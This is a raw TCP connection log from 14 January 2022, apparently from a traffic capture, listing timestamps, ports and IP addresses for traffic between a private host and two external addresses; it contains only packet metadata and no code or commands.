Jan 14, 2022 01:51:48.837102890 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837146997 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837172985 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.837183952 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837220907 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837228060 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.837258101 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837306976 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.871434927 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.972841024 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.984997034 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:51:49.014307976 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:51:49.023118973 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:49.094995975 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:51:50.540071011 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:50.592235088 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:50.592354059 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:50.671698093 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:50.671740055 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:50.726063013 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:50.751836061 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:50.751920938 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:50.782742977 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:50.834599972 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:50.939471960 CET	49872	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:50.991559982 CET	80	49872	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:50.991681099 CET	49872	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.031179905 CET	49872	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.033937931 CET	49872	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.083188057 CET	80	49872	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.085952997 CET	80	49872	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.111562967 CET	80	49872	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.111671925 CET	49872	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.127526999 CET	49872	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.179651976 CET	80	49872	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.531358957 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.583002090 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.583101034 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.609579086 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.670635939 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.670671940 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.670711040 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.670747995 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.670749903 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.670784950 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.670803070 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.671967030 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.672003031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.672035933 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.672041893 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.672080994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.672110081 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.672118902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.672173977 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724143982 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724200964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724241972 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724266052 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724278927 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724318981 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724327087 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724359035 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724395990 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724412918 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724436045 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724473953 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724481106 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724514008 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724554062 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724564075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724591970 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724632025 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724644899 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724672079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724709034 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724723101 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724747896 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724786043 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724800110 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724826097 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724865913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724879026 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.724903107 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.724950075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.777407885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777473927 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777513027 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777553082 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777566910 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.777609110 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777627945 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.777648926 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777689934 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777704954 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.777731895 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777770042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777786970 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.777811050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777868032 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777889013 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.777914047 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777956009 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.777973890 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.777992964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778031111 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778058052 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778070927 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778109074 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778127909 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778147936 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778187037 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778207064 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778223991 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778263092 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778301954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778314114 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778341055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778368950 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778381109 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778419971 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778438091 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778460979 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778497934 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778523922 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778534889 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778573036 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778588057 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778610945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778649092 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778671026 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778688908 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778723955 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778743029 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778763056 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778800011 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778820038 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778836012 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778873920 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778907061 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778914928 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778953075 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.778975964 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.778991938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.779051065 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832207918 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832271099 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832313061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832336903 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832351923 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832391024 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832401037 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832432985 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832472086 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832479954 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832511902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832552910 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832559109 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832590103 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832628012 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832643032 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832668066 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832705975 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832717896 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832743883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832779884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832792997 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832818985 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832859039 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832866907 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832895041 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832937956 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.832946062 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.832978010 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833014965 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833029032 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833053112 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833091021 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833102942 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833129883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833168983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833182096 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833205938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833242893 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833256006 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833281994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833317995 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833332062 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833355904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833394051 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833406925 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833432913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833472013 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833486080 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833508968 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833547115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833559990 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833586931 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833623886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833636999 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833662033 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833699942 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833712101 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833738089 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833777905 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833786011 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833815098 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833863974 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833879948 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833923101 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833960056 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.833973885 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.833997011 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.834034920 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.834048986 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.834074974 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.834114075 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.834131002 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.887973070 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888040066 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888063908 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888079882 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888124943 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888142109 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888166904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888206005 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888219118 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888246059 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888284922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888302088 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888322115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888360023 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888391018 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888398886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888437033 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888458014 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888475895 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888514042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888531923 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888542891 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888581991 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888595104 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888619900 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888659954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888676882 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888698101 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888735056 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888755083 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888775110 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888813972 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888829947 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888856888 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888896942 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888911963 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.888935089 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.888973951 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889003038 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889010906 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889049053 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889080048 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889087915 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889126062 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889151096 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889166117 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889204979 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889225006 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889240980 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889280081 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889298916 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889318943 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889355898 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889373064 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889394045 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889431953 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889446974 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889471054 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889508963 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889525890 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889547110 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889585018 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889601946 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889622927 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889658928 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889678955 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889698982 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889735937 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889758110 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.889775991 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.889830112 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.941519976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941582918 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941621065 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941658020 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941695929 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941708088 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.941735983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941742897 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.941778898 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941795111 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.941819906 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941870928 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.941896915 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941941977 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.941979885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942014933 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942018032 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942059040 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942073107 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942099094 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942137957 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942159891 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942178011 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942215919 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942230940 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942255020 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942293882 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942306995 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942329884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942368984 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942382097 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942406893 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942445040 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942459106 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942485094 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942522049 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942536116 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942562103 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942600965 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942615986 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942637920 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942676067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942688942 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942715883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942754030 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942766905 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942794085 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942830086 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942846060 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.942868948 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942907095 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942923069 CET	49874	80	192.168.2.3	93.189.42.167
